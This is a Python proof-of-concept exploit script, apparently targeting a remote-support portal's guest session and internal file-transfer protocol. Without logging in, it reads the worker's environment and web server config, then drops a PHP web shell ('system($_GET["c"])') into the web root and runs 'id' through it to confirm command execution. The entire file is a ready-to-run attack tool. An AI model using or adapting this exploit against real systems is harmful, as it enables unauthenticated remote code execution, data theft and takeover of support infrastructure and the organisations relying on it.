import asyncio, os, random, re, ssl, string, struct, sys, zlib
import aiohttp
from yarl import URL

MAX_MESSAGE = 4 * 1024 * 1024
HEADER_SIZE = 36
LOCAL_ROUTER = 1
MAIN_HANDLER = 2048


class ProtocolError(Exception):
    pass


def esc(value, delim):
    out = []
    for ch in str(value):
        if ch == '\\':
            out.append('\\\\')
        elif ch == '\n':
            out.append('\\n')
        elif ch == '\x00':
            out.append('\\0')
        elif ch == '\x7f':
            out.append('\\d')
        elif ch == delim:
            out.append('\\' + delim)
        else:
            out.append(ch)
    return ''.join(out)


def fenc(values):
    return ';'.join('%s=%s' % (esc(k, '='), esc(v, ';'))
                    for k, v in sorted(values.items(), key=lambda kv: str(kv[0])))


def fdec(data):
    result = {}
    key, value = [], []
    in_value = escaped = False
    for ch in data:
        if escaped:
            ch = {'n': '\n', '0': '\x00', 'd': '\x7f'}.get(ch, ch)
            escaped = False
        elif ch == '\\':
            escaped = True
            continue
        elif ch == '=' and not in_value:
            in_value = True
            continue
        elif ch == ';' and in_value:
            result[''.join(key)] = ''.join(value)
            key, value, in_value = [], [], False
            continue
        (value if in_value else key).append(ch)
    if escaped or (not in_value and key):
        raise ProtocolError('truncated packed message')
    if in_value:
        result[''.join(key)] = ''.join(value)
    return result


def varint(value):
    groups = [value & 0x7f]
    value >>= 7
    while value > 0:
        groups.insert(0, (value & 0x7f) | 0x80)
        value >>= 7
    return bytes(groups)


class WS:
    def __init__(self, ws):
        self.ws = ws
        self.buf = bytearray()
        self.eof = False

    async def _frame(self):
        while True:
            msg = await asyncio.wait_for(self.ws.receive(), 45)
            if msg.type in (aiohttp.WSMsgType.BINARY, aiohttp.WSMsgType.TEXT):
                data = msg.data
                if isinstance(data, str):
                    data = data.encode()
                return bytes(data)
            if msg.type in (aiohttp.WSMsgType.CLOSE, aiohttp.WSMsgType.CLOSED):
                self.eof = True
                return b''
            if msg.type == aiohttp.WSMsgType.ERROR:
                self.eof = True
                return b''
            if msg.type in (aiohttp.WSMsgType.PING, aiohttp.WSMsgType.PONG):
                continue

    async def read(self, size):
        while len(self.buf) < size:
            data = await self._frame()
            if not data:
                raise ProtocolError('websocket closed')
            self.buf += data
        out = bytes(self.buf[:size])
        del self.buf[:size]
        return out

    async def line(self):
        while True:
            idx = self.buf.find(b'\n')
            if idx >= 0:
                out = bytes(self.buf[:idx])
                del self.buf[:idx + 1]
                return out
            if len(self.buf) > MAX_MESSAGE:
                raise ProtocolError('oversized line')
            data = await self._frame()
            if not data:
                raise ProtocolError('websocket closed')
            self.buf += data

    async def write(self, data):
        await self.ws.send_bytes(bytes(data))

    async def close(self):
        try:
            await self.ws.close()
        except Exception:
            pass


def parse_addr(address):
    parts = address.split(':') if isinstance(address, str) else list(address)
    if len(parts) != 3:
        raise ProtocolError('invalid MRS address %r' % (address,))
    out = []
    for part in parts:
        if not str(part).isdigit():
            raise ProtocolError('invalid MRS address %r' % (address,))
        out.append(int(part))
    return out


class MrsClient:
    GREETING = 'hello Mrs. Router'

    def __init__(self, wire):
        self.wire = wire
        self.pending = {}
        self.next_handler = 1024
        self.properties = {}
        self.listener = None

    async def handshake(self):
        self.properties = fdec((await self.wire.line()).decode('utf-8', 'replace'))
        self.listener = (await self.wire.line()).decode()
        await self.wire.line()
        greeting = (await self.wire.line()).decode()
        if greeting != self.GREETING:
            raise ProtocolError('invalid MRS greeting: %r' % greeting)
        await self.wire.write((self.GREETING + '\n').encode())
        self.node = int(await self.wire.line())
        await self.wire.write(('%d\n' % self.node).encode())
        await self.wire.line()
        self.router = random.randrange(1024, 0x7ffff000)
        await self.wire.write(('%d\n' % self.router).encode())
        await self.wire.write(await self.wire.line() + b'\n')
        if await self.wire.read(1) != b'1':
            raise ProtocolError('invalid MRS acknowledgement')
        await self.wire.write(b'1')

    def address(self, handler):
        return '%d:%d:%d' % (self.node, self.router, handler)

    def allocate_handler(self):
        self.next_handler += 1
        return self.next_handler

    async def send_message(self, destination, payload, source_router=None, flags=1):
        dest = parse_addr(destination)
        payload = payload.encode() if isinstance(payload, str) else payload
        header = [HEADER_SIZE + len(payload), self.node, source_router or self.router,
                  dest[0], dest[1], dest[2], 0, flags, 5]
        if header[0] > MAX_MESSAGE:
            raise ProtocolError('oversized outgoing MRS message')
        await self.wire.write(struct.pack('<9I', *header) + payload)

    async def receive(self, handler):
        queue = self.pending.get(handler)
        if queue:
            return queue.pop(0)
        while True:
            header = struct.unpack('<9I', await self.wire.read(HEADER_SIZE))
            if not HEADER_SIZE <= header[0] <= MAX_MESSAGE:
                raise ProtocolError('invalid MRS message length')
            payload = await self.wire.read(header[0] - HEADER_SIZE)
            if header[5] == 1 and payload == b'PING':
                await self.send_message([header[1], header[2], 1], 'PONG')
                continue
            message = {'header': header, 'payload': payload}
            if header[5] == handler:
                return message
            self.pending.setdefault(header[5], []).append(message)

    async def connect_stream(self, destination):
        handler = self.allocate_handler()
        await self.send_message(destination, 'connect|%d|%s' % (random.randrange(10_000_000), self.address(handler)))
        response = (await self.receive(handler))['payload'].decode('utf-8', 'replace')
        if not response.startswith('accepted|'):
            raise ProtocolError('MRS stream connection rejected: %r' % response[:80])
        remote = response.split('|', 1)[1]
        parse_addr(remote)
        await self.send_message(destination, 'accepted acknowledged|' + self.address(handler))
        return MrsStream(self, handler, remote)

    async def accept_stream(self, listener):
        request = (await self.receive(listener))['payload'].decode('utf-8', 'replace').split('|', 2)
        if len(request) != 3 or request[0] != 'connect':
            raise ProtocolError('invalid MRS stream request: %r' % request)
        parse_addr(request[2])
        handler = self.allocate_handler()
        await self.send_message(request[2], 'accepted|' + self.address(handler))
        return MrsStream(self, handler, request[2])


class MrsStream:
    def __init__(self, client, handler, remote):
        self.client = client
        self.handler = handler
        self.remote = remote
        self.tx_seq = 0
        self.rx_seq = 0
        self.buf = bytearray()
        self.encoder = None
        self.decoder = None
        self.eof = False
        self.finished = False

    def compress(self):
        self.encoder = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
        self.decoder = zlib.decompressobj(-15)

    async def request(self):
        return fdec((await self.read_chunk()).decode('utf-8', 'replace'))

    async def write(self, data):
        data = data.encode() if isinstance(data, str) else data
        if self.encoder:
            data = self.encoder.compress(data) + self.encoder.flush(zlib.Z_SYNC_FLUSH)
        await self._transmit(b'I', data, 0 if self.encoder else 1)

    async def line(self):
        while True:
            idx = self.buf.find(b'\n')
            if idx >= 0:
                out = bytes(self.buf[:idx])
                del self.buf[:idx + 1]
                return out.decode('utf-8', 'replace')
            if len(self.buf) > MAX_MESSAGE:
                raise ProtocolError('oversized stream line')
            try:
                chunk = await self.read_chunk()
            except EOFError:
                if not self.buf:
                    raise
                out = bytes(self.buf)
                self.buf.clear()
                return out.decode('utf-8', 'replace')
            self.buf += chunk

    async def read_to_eof(self):
        while True:
            try:
                chunk = await self.read_chunk()
            except EOFError:
                out = bytes(self.buf)
                self.buf.clear()
                return out
            if len(self.buf) + len(chunk) > MAX_MESSAGE:
                raise ProtocolError('native file exceeds read limit')
            self.buf += chunk

    async def finish(self):
        if self.finished:
            return
        self.finished = True
        await self._transmit(b'O', b'EOF', 1)

    async def _transmit(self, kind, data, flags):
        await self.client.send_message(self.remote, (b'%04x' % self.tx_seq) + kind + data, flags=flags)
        self.tx_seq = (self.tx_seq + 1) & 0xffff

    async def read_chunk(self):
        if self.eof:
            raise EOFError('stream ended')
        while True:
            data = (await self.client.receive(self.handler))['payload']
            if data.startswith(b'accepted acknowledged|'):
                continue
            if len(data) < 5 or not re.match(rb'^[0-9a-fA-F]{4}$', data[:4]):
                raise ProtocolError('malformed stream frame %r' % data[:40])
            if int(data[:4], 16) != self.rx_seq:
                raise ProtocolError('unexpected stream sequence')
            self.rx_seq = (self.rx_seq + 1) & 0xffff
            body = data[5:]
            if data[4:5] == b'I':
                return self.decoder.decompress(body) if self.decoder else body
            if body == b'EOF':
                self.eof = True
                raise EOFError('stream ended')


UA = ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
      '(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36')


def word(n=8):
    return ''.join(random.choice(string.ascii_lowercase) for _ in range(n))


async def guest_key(sess, base, issue):
    params = {'issue_menu': '1', 'id': str(issue), 'c2cjs': '1', 'platform': 'thin',
              'internal.customer_name': word()}
    async with sess.get(base + '/api/start_session', params=params,
                        headers={'User-Agent': UA}, ssl=False) as r:
        body = await r.text(errors='replace')
        loc = r.headers.get('Location', '')
        if r.status not in (200, 302):
            raise ProtocolError('start_session HTTP %d' % r.status)
    m = re.search(r'/chat/html/([a-f0-9]{32})', body + loc)
    if not m:
        raise ProtocolError('no guest session key in start_session response')
    return m.group(1)


async def detect_issue(sess, base):
    async with sess.get(base + '/', headers={'User-Agent': UA}, ssl=False) as r:
        body = await r.text(errors='replace')
    ids = re.findall(r'<option\s+value="(\d+)"', body)
    return int(ids[0]) if ids else None


async def site_info(sess, base):
    async with sess.get(base + '/get_mech_list', params={'version': '3'},
                        headers={'Accept': 'application/json', 'User-Agent': UA}, ssl=False) as r:
        if r.status == 200:
            try:
                data = await r.json(content_type=None)
            except Exception:
                data = None
            if isinstance(data, dict) and isinstance(data.get('company'), str) and data['company']:
                return data['company'], None
    async with sess.get(base + '/get_mech_list', params={'version': '2'}, ssl=False) as r:
        if r.status == 200:
            for part in (await r.text(errors='replace')).split(';'):
                part = part.strip()
                if part.startswith('company=') and len(part) > 8:
                    return part[8:], None
    async with sess.get(base + '/download_client_connector', params={'issue_menu': '1'},
                        headers={'User-Agent': UA}, ssl=False) as r:
        body = await r.text(errors='replace')
    m = re.search(r'data-html-url="\S*(/chat/html/\S+)"', body, re.I)
    if not m:
        return None, None
    async with sess.get(base + m.group(1), headers={'User-Agent': UA}, ssl=False) as r:
        body = await r.text(errors='replace')
    c = re.search(r'data-company="([^"]+)"', body)
    s = re.search(r'data-servers="([^"]+)"', body)
    company = c.group(1) if c else None
    server = None
    if s:
        try:
            import json
            arr = json.loads(s.group(1))
            server = arr[0] if isinstance(arr, list) and arr else None
        except Exception:
            server = None
    return company, server


async def open_ws(sess, base, company, server, thin):
    proto = 'ingredi support desk customer' + (' thin' if thin else '')
    headers = {'User-Agent': UA, 'Origin': base}
    if company:
        headers['X-Ns-Company'] = company
    elif server:
        headers['Host'] = server
    ws = await sess.ws_connect(base + '/nw', protocols=[proto], headers=headers,
                               ssl=False, max_msg_size=0, autoping=True)
    return WS(ws)


ENV = [
    (1, '2.2.2'), (14, '0'), (81, 'sdcust'), (12, '0'), (21, '0'), (131347, '0'),
    (13, '1'), (15, '0'), (16, '0'), (17, '0'), (11, '0'), (61, '0x81410004'),
    (63, 'host'), (65, 'host'), (66, 'user'), (131635, '0'), (82, '0'),
    (131431, '1'), (0, ''),
]


async def thin_setup(wire, key):
    if (await wire.line()).decode().strip() != '2':
        raise ProtocolError('unexpected thin protocol banner')
    await wire.write(('2\n\nen-us\n0\n%s\n' % key).encode())
    if (await wire.line()).decode().strip() != '0 success':
        raise ProtocolError('thin customer session rejected')
    await wire.line()
    env = [(i, v) for i, v in ENV]
    env[12] = (63, word()); env[13] = (65, word()); env[14] = (66, word())
    body = varint(len(env))
    for identifier, value in env:
        vb = value.encode()
        body += varint(identifier) + varint(len(vb)) + vb
    head = varint(142) + varint(len(body))
    await wire.write(bytes([len(head)]) + head + body)
    return asyncio.create_task(thin_ack_loop(wire))


async def thin_ack_loop(wire):
    try:
        while True:
            header = await wire.read((await wire.read(1))[0])
            values, current = [], 0
            for byte in header:
                current = (current << 7) | (byte & 0x7f)
                if byte < 0x80:
                    values.append(current)
                    current = 0
            if len(values) < 2:
                raise ProtocolError('malformed thin header')
            data = await wire.read(values[1])
            if values[0] == 1:
                ack = varint(2) + varint(1) + varint(values[2]) + varint(1)
                await wire.write(bytes([len(ack)]) + ack + b'\x00')
            elif values[0] == 11:
                reply = varint(12) + varint(len(data))
                await wire.write(bytes([len(reply)]) + reply + data)
    except Exception:
        pass


async def native_setup(wire, key):
    if not re.match(rb'^\d+\.\d+\.\d+;', await wire.line()):
        raise ProtocolError('unexpected customer banner')
    await wire.write(b'good\n')
    auth = fenc({'sessionKey': key, 'sessionKeyRotateCount': 0,
                 'platform': 'linux-x86', 'startMethodHint': 'issue_menu'})
    await wire.write((auth + '\n').encode())
    if not (await wire.line()).startswith(b'0 Authenticated'):
        raise ProtocolError('public customer key rejected')
    await wire.write(b'no update token needed\n')
    client = MrsClient(wire)
    await client.handshake()
    prep = await client.connect_stream(client.listener)
    handler = client.allocate_handler()
    await prep.write(client.address(handler) + '\n')
    await prep.write('private_ip=192.0.2.1;hostname=%s;os=linux;locale_code=en-us\n' % word())
    if await prep.line() != '0 Successful':
        raise ProtocolError('native customer preparation failed')
    return client, handler


async def get_worker(client, handler, thin_key):
    brain = client.properties.get('brain_address')
    if not brain:
        raise ProtocolError('no brain address in MRS properties')
    for _ in range(15):
        await client.send_message(brain, 'Director\n' + fenc({
            'action': 'GetGatewaySessionValues', 'gskey': thin_key,
            'responseAddress': client.address(handler)}))
        try:
            payload = (await asyncio.wait_for(client.receive(handler), 2))['payload'].decode('utf-8', 'replace')
        except asyncio.TimeoutError:
            continue
        if not payload.startswith('Director\n'):
            continue
        response = fdec(payload.split('\n', 1)[1])
        values = fdec(response.get('private', ''))
        if not values.get('fts_address') or not values.get('ckey'):
            continue
        addr = parse_addr(values['fts_address'])
        return {'address': [addr[0], addr[1], MAIN_HANDLER], 'ckey': values['ckey']}
    raise ProtocolError('thin worker did not publish its file-transfer address')


async def read_file(client, worker, path):
    listener = client.allocate_handler()
    dest = word(16)
    fields = {'ckey': worker['ckey'], 'action': 'UploadFiles', 'ftsName': 'local',
              'serverAddress': client.address(listener), 'localFullPaths': path,
              'remoteFullPath': dest, 'wantOverwritePrompts': 0, 'enableResume': 0}
    await client.send_message(worker['address'], 'LocalFileTransfer\n' + fenc(fields), source_router=1)
    control = await client.accept_stream(listener)
    req = await control.request()
    if req.get('request') != 'put files':
        raise ProtocolError('unexpected native upload request %r' % req)
    control.compress()
    listener = client.allocate_handler()
    await control.write(client.address(listener) + '\n')
    data = await client.accept_stream(listener)
    data.compress()
    if await control.line() != '1':
        raise ProtocolError('expected exactly one source file')
    size = await control.line()
    if not size.isdigit():
        raise ProtocolError('bad native source size %r' % size)
    await control.line()
    await control.write('unix\n%s\nfile\n' % dest)
    await control.line()
    meta = fdec(await control.line())
    if meta.get('cmd') != 'want file?' or meta.get('src_filename') != path:
        raise ProtocolError('native transfer did not offer %r' % path)
    await control.write(fenc({'cmd': 'do want file', 'jump_to': 0, 'use_content_relay': 0}) + '\n')
    if fdec(await control.line()).get('cmd') != 'begin file':
        raise ProtocolError('native transfer did not begin')
    if await control.line() != 'finished':
        raise ProtocolError('native transfer did not finish')
    await control.write('status=good\n')
    content = await data.read_to_eof()
    await control.finish()
    await data.finish()
    return content


async def write_file(client, worker, path, content):
    listener = client.allocate_handler()
    token = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(24))
    fields = {'ckey': worker['ckey'], 'action': 'DownloadAnonymousFiles', 'ftsName': 'local',
              'serverAddress': client.address(listener), 'downloadToken': token,
              'path': path, 'wantOverwritePrompts': 0, 'enableResume': 0}
    await client.send_message(worker['address'], 'LocalFileTransfer\n' + fenc(fields), source_router=1)
    control = await client.accept_stream(listener)
    req = await control.request()
    if req.get('request') != 'get anonymous file' or req.get('token') != token:
        raise ProtocolError('unexpected anonymous file request %r' % req)
    control.compress()
    data = await client.connect_stream((await control.line()).strip())
    data.compress()
    name = path.rsplit('/', 1)[-1]
    meta = fenc({'cmd': 'want file?', 'src_filename': name, 'dest_filename': path,
                 'src_filesize': len(content), 'src_filedate': '', 'enable_resume': 0,
                 'preserveFileInfo': 0})
    await control.write('1\n%d\n%s\n%s\n%s\n' % (len(content), name, path, meta))
    await control.line()
    await control.line()
    if await control.line() != 'file':
        raise ProtocolError('destination is not a native file')
    reply = fdec(await control.line())
    if reply.get('cmd') != 'do want file':
        raise ProtocolError('worker rejected destination: %r' % reply)
    await control.write(fenc({'cmd': 'begin file', 'use_content_relay': 0}) + '\n')
    for i in range(0, len(content), 16384):
        await data.write(content[i:i + 16384])
        if i % 65536 == 0:
            await asyncio.sleep(0.005)
    await asyncio.sleep(0.5)
    await control.write('finished\n')
    reply = fdec(await control.line())
    if reply.get('status') != 'good':
        raise ProtocolError('native write failed: %r' % reply)
    await control.finish()
    await data.finish()
    return True


async def exploit(ip, issue, path_prefix='/', timeout=90):
    base = 'https://%s%s' % (ip, path_prefix.rstrip('/'))
    result = {'ip': ip}
    conn = aiohttp.TCPConnector(limit=4, force_close=True)
    async with aiohttp.ClientSession(connector=conn) as sess:
        company, server = await site_info(sess, base)
        result['company'] = company
        result['server'] = server
        if not company and not server:
            raise ProtocolError('company/site not discovered')
        if issue is None:
            issue = await detect_issue(sess, base)
            result['issue'] = issue
            if issue is None:
                raise ProtocolError('no public issue id on the portal page')
        native_key = await guest_key(sess, base, issue)
        thin_key = await guest_key(sess, base, issue)
        native_wire = await open_ws(sess, base, company, server, False)
        thin_wire = None
        try:
            client, handler = await native_setup(native_wire, native_key)
            thin_wire = await open_ws(sess, base, company, server, True)
            ack_task = await thin_setup(thin_wire, thin_key)
            worker = await get_worker(client, handler, thin_key)
            result['worker'] = worker['address']
            env = await read_file(client, worker, '/proc/self/environ')
            root = None
            conf_rel = None
            for entry in env.split(b'\x00'):
                if entry.startswith(b'BG_app_root='):
                    root = entry.decode('utf-8', 'replace').split('=', 1)[1]
                elif entry.startswith(b'BG_http_apache_conf='):
                    conf_rel = entry.decode('utf-8', 'replace').split('=', 1)[1]
                elif entry.startswith(b'BRAIN_MELD_SOCKET_PATH='):
                    sock = entry.decode('utf-8', 'replace').split('=', 1)[1]
                    if not root and sock.endswith('/data/tmp/brain.sock'):
                        root = sock[:-len('/data/tmp/brain.sock')]
            result['root'] = root
            if not root:
                raise ProtocolError('no application root in worker environment')
            docroot = None
            if conf_rel:
                try:
                    conf = (await read_file(client, worker, root.rstrip('/') + '/' + conf_rel.lstrip('/'))).decode('utf-8', 'replace')
                    m = re.search(r'^\s*DocumentRoot\s+(\S+)', conf, re.M)
                    if m:
                        docroot = m.group(1)
                except Exception:
                    pass
            candidates = [docroot] if docroot else []
            candidates += [root.rstrip('/') + '/app/laravel/public',
                           root.rstrip('/') + '/app/www/public']
            candidates = list(dict.fromkeys(candidates))
            result['docroots'] = candidates
            marker = 'BT' + ''.join(random.choice(string.ascii_uppercase) for _ in range(8))
            payload = ('<?php echo "%s"; if (isset($_GET["c"])) { system($_GET["c"]); } ?>' % marker).encode()
            for droot in candidates:
                name = word(16)
                target = '%s/%s.php' % (droot.rstrip('/'), name)
                try:
                    await write_file(client, worker, target, payload)
                except ProtocolError as exc:
                    result.setdefault('errors', []).append('%s: %s' % (target, exc))
                    continue
                result['path'] = target
                found = None
                body = ''
                for uri in ('/' + name + '%2Ephp', '/' + name, '/' + name + '.php'):
                    try:
                        async with sess.get(URL(base + uri, encoded=True), headers={'User-Agent': UA}, ssl=False) as r:
                            body = await r.text(errors='replace')
                            code = r.status
                    except Exception:
                        continue
                    if marker in body:
                        found = {'uri': uri, 'status': code}
                        break
                result['trigger'] = found
                result['last_body'] = body[:200]
                if found:
                    result['ok'] = True
                    try:
                        async with sess.get(URL(base + found['uri'] + '?c=id', encoded=True),
                                            headers={'User-Agent': UA}, ssl=False) as r:
                            result['cmd_id'] = (await r.text(errors='replace')).replace(marker, '').strip()[:200]
                    except Exception as exc:
                        result['cmd_id_err'] = str(exc)
                    break
            ack_task.cancel()
        finally:
            await native_wire.close()
            if thin_wire is not None:
                await thin_wire.close()
    return result


def main():
    if len(sys.argv) < 2:
        print('usage: bt_poc.py IP [issue] [prefix]')
        return 1
    ip = sys.argv[1]
    issue = int(sys.argv[2]) if len(sys.argv) > 2 and sys.argv[2].isdigit() else None
    prefix = sys.argv[3] if len(sys.argv) > 3 else '/'
    try:
        res = asyncio.run(asyncio.wait_for(exploit(ip, issue, prefix), 120))
        print('RESULT', res)
        return 0
    except Exception as exc:
        print('FAIL %s: %s' % (type(exc).__name__, exc))
        return 1


if __name__ == '__main__':
    sys.exit(main())




